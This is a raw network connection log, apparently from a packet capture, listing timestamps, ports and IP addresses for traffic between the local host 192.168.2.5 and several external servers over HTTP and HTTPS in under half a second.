Nov 17, 2024 03:42:39.921828985 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.921860933 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.921884060 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.937697887 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.944623947 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.944658995 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.944708109 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.944755077 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.944798946 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.944850922 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.946738005 CET	49865	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.946769953 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.947567940 CET	49865	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.947580099 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.959882975 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.960505009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960517883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960530043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960541964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960558891 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.960561991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960573912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960582972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.960586071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960602999 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.960645914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.960653067 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960664988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960676908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960704088 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.960738897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.960829973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960841894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960854053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960865021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960872889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.960875988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960887909 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960900068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.960900068 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.960946083 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.961039066 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.961051941 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.965365887 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.965414047 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.965450048 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.965466976 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.965533018 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.036923885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.036973953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.036982059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.036983967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037002087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037014008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037024975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037035942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037040949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037055016 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037060976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037065029 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037071943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037081957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037091970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037096024 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037103891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037152052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037182093 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037610054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037650108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037659883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037662983 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037677050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037688017 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037688971 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037710905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037720919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037839890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037851095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037862062 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.037877083 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.037894964 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.038896084 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.038973093 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.038978100 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.039005041 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.039028883 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.039047956 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.045727015 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.045770884 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.045805931 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.045841932 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.045869112 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.045875072 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.045922041 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.046030998 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.046046972 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.059290886 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.059361935 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.059556007 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.060030937 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.060066938 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.071628094 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.071667910 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:40.071755886 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.073519945 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.073540926 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:40.077073097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077084064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077111959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077121973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077147961 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077152014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077182055 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.077187061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077202082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077209949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077219963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077230930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077241898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077259064 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077272892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077414036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077425957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077436924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077461958 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077497959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077508926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077519894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077531099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077538013 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.077544928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077553034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077610016 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077610016 CET	49865	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.077764988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077796936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077804089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077835083 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.077886105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077896118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.077928066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.078006983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.078017950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.078028917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.078049898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.078073025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.081512928 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.081578970 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.081638098 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.081655979 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.081685066 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.081698895 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.081944942 CET	49865	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.081959963 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.089437008 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.089514017 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.089564085 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.092982054 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.092982054 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.093019962 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.093044996 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.097979069 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.098007917 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.098148108 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.100671053 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.100719929 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.100794077 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.101830006 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.101849079 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.102051020 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.102085114 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.110661030 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.110694885 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.110759974 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.110903025 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.110913992 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.117480993 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:40.117503881 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:40.117676020 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:40.117932081 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:40.117947102 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:40.155817032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.155832052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.155848980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.155889988 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.155903101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.155941010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.155965090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.155975103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.155985117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156013966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156023026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156033993 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156047106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156059027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156061888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156084061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156107903 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156120062 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.156196117 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.156212091 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.156230927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156234026 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.156241894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156246901 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.156259060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156270027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156281948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156291962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156294107 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.156308889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156326056 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156538963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156549931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156573057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156584024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156584978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156594992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.156610012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.156640053 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196012020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196023941 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196033955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196062088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196072102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196082115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196088076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196116924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196129084 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196135998 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196135998 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196140051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196167946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196197987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196408033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196518898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196551085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196559906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196562052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196569920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196608067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196623087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196679115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196696043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196707964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196717978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196717978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196729898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.196732044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196748018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.196762085 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.197021961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.197033882 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.197067976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.197076082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.197082996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.197109938 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.198184967 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.198242903 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.198272943 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.198296070 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.198313951 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.198328972 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.237814903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.237826109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.237890005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.274699926 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.274775028 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.274791956 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.274818897 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.274842978 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.274862051 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.275036097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275057077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275068045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275110006 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275110960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275116920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275129080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275158882 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.275198936 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275198936 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275206089 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.275214911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275226116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275238037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275248051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275252104 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.275260925 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275264025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275270939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275275946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275288105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275298119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275305033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275317907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275326014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275341034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275362968 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275446892 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.275477886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275521994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275527000 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.275546074 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275558949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275563955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275574923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.275599003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275615931 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.275762081 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:40.275778055 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:40.314954996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.314970016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315006971 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315012932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315028906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315028906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315051079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315067053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315069914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315078974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315099955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315102100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315114975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315120935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315129042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315135002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315151930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315172911 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315238953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315251112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315259933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315279007 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315330029 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315414906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315426111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315435886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315447092 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315462112 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315498114 CET	49797	80	192.168.2.5	185.215.113.206
